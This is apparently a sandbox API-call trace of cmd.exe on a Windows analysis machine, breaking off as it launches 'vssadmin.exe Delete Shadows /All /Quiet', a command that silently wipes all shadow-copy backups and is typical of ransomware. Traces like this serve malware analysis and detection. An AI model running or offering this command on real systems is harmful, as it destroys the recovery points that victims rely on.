0x25447ed0040 [0061.009] ??_V@YAXPEAX@Z () returned 0x25447ed0040 [0061.009] GetProcessHeap () returned 0x25447fc0000 [0061.009] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x40) returned 0x25447fc84f0 [0061.010] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25447ed0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0061.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x25447ed0040, lpFilePart=0x6a0b6ff750 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6a0b6ff750*="Desktop") returned 0x17 [0061.010] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0061.011] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6a0b6ff480 | out: lpFindFileData=0x6a0b6ff480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x25447fc8540 [0061.011] FindClose (in: hFindFile=0x25447fc8540 | out: hFindFile=0x25447fc8540) returned 1 [0061.011] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6a0b6ff480 | out: lpFindFileData=0x6a0b6ff480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34f0e7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34f0e7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x25447fc8540 [0061.011] FindClose (in: hFindFile=0x25447fc8540 | out: hFindFile=0x25447fc8540) returned 1 [0061.012] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6a0b6ff480 | out: lpFindFileData=0x6a0b6ff480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17fadf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x25447fc8540 [0061.012] FindClose (in: hFindFile=0x25447fc8540 | out: hFindFile=0x25447fc8540) returned 1 [0061.012] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0061.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0061.012] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0061.012] GetProcessHeap () returned 0x25447fc0000 [0061.012] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc7a50) returned 1 [0061.012] GetEnvironmentStringsW () returned 0x25447fc0fc0* [0061.012] GetProcessHeap () returned 0x25447fc0000 [0061.012] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xacc) returned 0x25447fc8540 [0061.013] FreeEnvironmentStringsA (penv="=") returned 1 [0061.013] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25447eb0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0061.013] GetProcessHeap () returned 0x25447fc0000 [0061.013] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc84f0) returned 1 [0061.013] ??_V@YAXPEAX@Z () returned 0x1 [0061.013] ??_V@YAXPEAX@Z () returned 0x1 [0061.013] GetProcessHeap () returned 0x25447fc0000 [0061.013] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x4016) returned 0x25447fc9020 [0061.014] GetProcessHeap () returned 0x25447fc0000 [0061.014] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x64) returned 0x25447fc6530 [0061.014] GetProcessHeap () returned 0x25447fc0000 [0061.014] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc9020) returned 1 [0061.014] GetConsoleOutputCP () returned 0x1b5 [0061.025] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4fffbb0 | out: lpCPInfo=0x7ff7d4fffbb0) returned 1 [0061.025] GetUserDefaultLCID () returned 0x409 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7d4ffbb78, cchData=8 | out: lpLCData=":") returned 2 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6a0b6ffb10, cchData=128 | out: lpLCData="0") returned 2 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6a0b6ffb10, cchData=128 | out: lpLCData="0") returned 2 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6a0b6ffb10, cchData=128 | out: lpLCData="1") returned 2 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7d4ffbb68, cchData=8 | out: lpLCData="/") returned 2 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7d4ffbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0061.025] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7d4ffbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7d4ffba80, cchData=32 | out: lpLCData="Wed") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7d4ffba40, cchData=32 | out: lpLCData="Thu") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7d4ffba00, cchData=32 | out: lpLCData="Fri") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7d4ffb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7d4ffb980, cchData=32 | out: lpLCData="Sun") returned 4 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7d4ffbb58, cchData=8 | out: lpLCData=".") returned 2 [0061.026] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7d4ffbb40, cchData=8 | out: lpLCData=",") returned 2 [0061.026] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0061.028] GetProcessHeap () returned 0x25447fc0000 [0061.028] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x0, Size=0x20c) returned 0x25447fc6610 [0061.028] GetConsoleTitleW (in: lpConsoleTitle=0x25447fc6610, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c [0061.032] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0061.032] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0061.033] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0061.033] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0061.033] ??_V@YAXPEAX@Z () returned 0x1 [0061.034] GetProcessHeap () returned 0x25447fc0000 [0061.034] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x4012) returned 0x25447fc9020 [0061.034] GetProcessHeap () returned 0x25447fc0000 [0061.034] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc9020) returned 1 [0061.036] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0061.036] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0061.036] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0061.037] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0061.037] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0061.037] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0061.037] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0061.037] GetProcessHeap () returned 0x25447fc0000 [0061.037] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xb0) returned 0x25447fc6830 [0061.037] GetProcessHeap () returned 0x25447fc0000 [0061.037] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x2a) returned 0x25447fc68f0 [0061.038] GetProcessHeap () returned 0x25447fc0000 [0061.038] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x48) returned 0x25447fc6930 [0061.040] GetConsoleTitleW (in: lpConsoleTitle=0x6a0b6ffa00, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c [0061.040] malloc (_Size=0xffce) returned 0x25447ec0060 [0061.041] ??_V@YAXPEAX@Z () returned 0x25447ec0060 [0061.042] malloc (_Size=0xffce) returned 0x25447ed0040 [0061.042] ??_V@YAXPEAX@Z () returned 0x25447ed0040 [0061.043] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\vssadmin.exe")) returned 0xffffffff [0061.043] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0061.043] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0061.044] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0061.044] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0061.044] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0061.044] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0061.044] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0061.044] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0061.044] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0061.044] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0061.044] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0061.044] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0061.044] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0061.044] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0061.044] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0061.044] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0061.044] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0061.044] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0061.044] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0061.044] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0061.044] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0061.044] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0061.044] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0061.044] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0061.045] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0061.045] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0061.045] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0061.045] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0061.045] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0061.045] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0061.045] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0061.045] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0061.045] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0061.045] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0061.045] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0061.045] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0061.045] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0061.045] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0061.045] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0061.045] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0061.045] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0061.045] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0061.045] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0061.045] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0061.045] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0061.045] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0061.045] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0061.046] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0061.046] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0061.046] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0061.046] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0061.046] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0061.046] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0061.046] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0061.046] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0061.046] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0061.046] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0061.046] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0061.046] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0061.046] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0061.046] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0061.046] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0061.046] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0061.046] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0061.046] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0061.047] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0061.047] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0061.047] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0061.047] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0061.047] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0061.047] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0061.047] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0061.047] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0061.047] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0061.047] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0061.047] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0061.047] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0061.047] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0061.047] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0061.047] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0061.047] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0061.047] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0061.047] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0061.047] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0061.047] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0061.047] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0061.047] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0061.049] ??_V@YAXPEAX@Z () returned 0x1 [0061.049] GetProcessHeap () returned 0x25447fc0000 [0061.049] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xffde) returned 0x25447fc9020 [0061.050] GetProcessHeap () returned 0x25447fc0000 [0061.050] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x62) returned 0x25447fc6980 [0061.050] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0061.050] malloc (_Size=0xffce) returned 0x25447ed0040 [0061.050] ??_V@YAXPEAX@Z () returned 0x25447ed0040 [0061.051] GetProcessHeap () returned 0x25447fc0000 [0061.051] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x1ffac) returned 0x25447fd9010 [0061.054] SetErrorMode (uMode=0x0) returned 0x0 [0061.054] SetErrorMode (uMode=0x1) returned 0x0 [0061.054] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x25447fd9020, lpFilePart=0x6a0b6ff280 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6a0b6ff280*="Desktop") returned 0x17 [0061.054] SetErrorMode (uMode=0x0) returned 0x1 [0061.054] GetProcessHeap () returned 0x25447fc0000 [0061.054] RtlReAllocateHeap (Heap=0x25447fc0000, Flags=0x0, Ptr=0x25447fd9010, Size=0x5a) returned 0x25447fd9010 [0061.054] GetProcessHeap () returned 0x25447fc0000 [0061.054] RtlSizeHeap (HeapHandle=0x25447fc0000, Flags=0x0, MemoryPointer=0x25447fd9010) returned 0x5a [0061.054] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0061.055] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0061.055] GetProcessHeap () returned 0x25447fc0000 [0061.055] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x1bc) returned 0x25447fc69f0 [0061.055] GetProcessHeap () returned 0x25447fc0000 [0061.055] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x368) returned 0x25447fc6bc0 [0061.086] GetProcessHeap () returned 0x25447fc0000 [0061.086] RtlReAllocateHeap (Heap=0x25447fc0000, Flags=0x0, Ptr=0x25447fc6bc0, Size=0x1be) returned 0x25447fc6bc0 [0061.086] GetProcessHeap () returned 0x25447fc0000 [0061.086] RtlSizeHeap (HeapHandle=0x25447fc0000, Flags=0x0, MemoryPointer=0x25447fc6bc0) returned 0x1be [0061.086] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.086] GetProcessHeap () returned 0x25447fc0000 [0061.086] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xe8) returned 0x25447fc6d90 [0061.087] GetProcessHeap () returned 0x25447fc0000 [0061.087] RtlReAllocateHeap (Heap=0x25447fc0000, Flags=0x0, Ptr=0x25447fc6d90, Size=0x7e) returned 0x25447fc6d90 [0061.087] GetProcessHeap () returned 0x25447fc0000 [0061.087] RtlSizeHeap (HeapHandle=0x25447fc0000, Flags=0x0, MemoryPointer=0x25447fc6d90) returned 0x7e [0061.088] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0061.088] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x6a0b6feff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6a0b6feff0) returned 0xffffffffffffffff [0061.088] GetLastError () returned 0x2 [0061.088] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x6a0b6feff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6a0b6feff0) returned 0xffffffffffffffff [0061.089] GetLastError () returned 0x2 [0061.089] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0061.089] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x6a0b6feff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6a0b6feff0) returned 0xffffffffffffffff [0061.093] GetLastError () returned 0x2 [0061.093] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x6a0b6feff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6a0b6feff0) returned 0xffffffffffffffff [0061.094] GetLastError () returned 0x2 [0061.094] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0061.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x6a0b6feff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6a0b6feff0) returned 0x25447fc6e20 [0061.094] GetProcessHeap () returned 0x25447fc0000 [0061.094] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x0, Size=0x28) returned 0x25447fc6e80 [0061.094] FindClose (in: hFindFile=0x25447fc6e20 | out: hFindFile=0x25447fc6e20) returned 1 [0061.094] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0061.095] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0061.095] ??_V@YAXPEAX@Z () returned 0x1 [0061.095] GetConsoleTitleW (in: lpConsoleTitle=0x6a0b6ff570, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c [0061.140] InitializeProcThreadAttributeList (in: lpAttributeList=0x6a0b6ff490, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6a0b6ff380 | out: lpAttributeList=0x6a0b6ff490, lpSize=0x6a0b6ff380) returned 1 [0061.140] UpdateProcThreadAttribute (in: lpAttributeList=0x6a0b6ff490, dwFlags=0x0, Attribute=0x60001, lpValue=0x6a0b6ff36c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6a0b6ff490, lpPreviousValue=0x0) returned 1 [0061.140] GetStartupInfoW (in: lpStartupInfo=0x6a0b6ff420 | out: lpStartupInfo=0x6a0b6ff420*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0061.140] GetProcessHeap () returned 0x25447fc0000 [0061.140] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x20) returned 0x25447fc6e20 [0061.140] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0061.140] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0061.140] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0061.140] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0061.140] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0061.141] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0061.142] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0061.142] GetProcessHeap () returned 0x25447fc0000 [0061.143] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc6e20) returned 1 [0061.143] GetProcessHeap () returned 0x25447fc0000 [0061.143] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x12) returned 0x25447fc6e20 [0061.143] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0061.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0061.144] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0061.166] _get_osfhandle (_FileHandle=0) returned 0x4c [0061.166] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0061.190] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6a0b6ff3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, 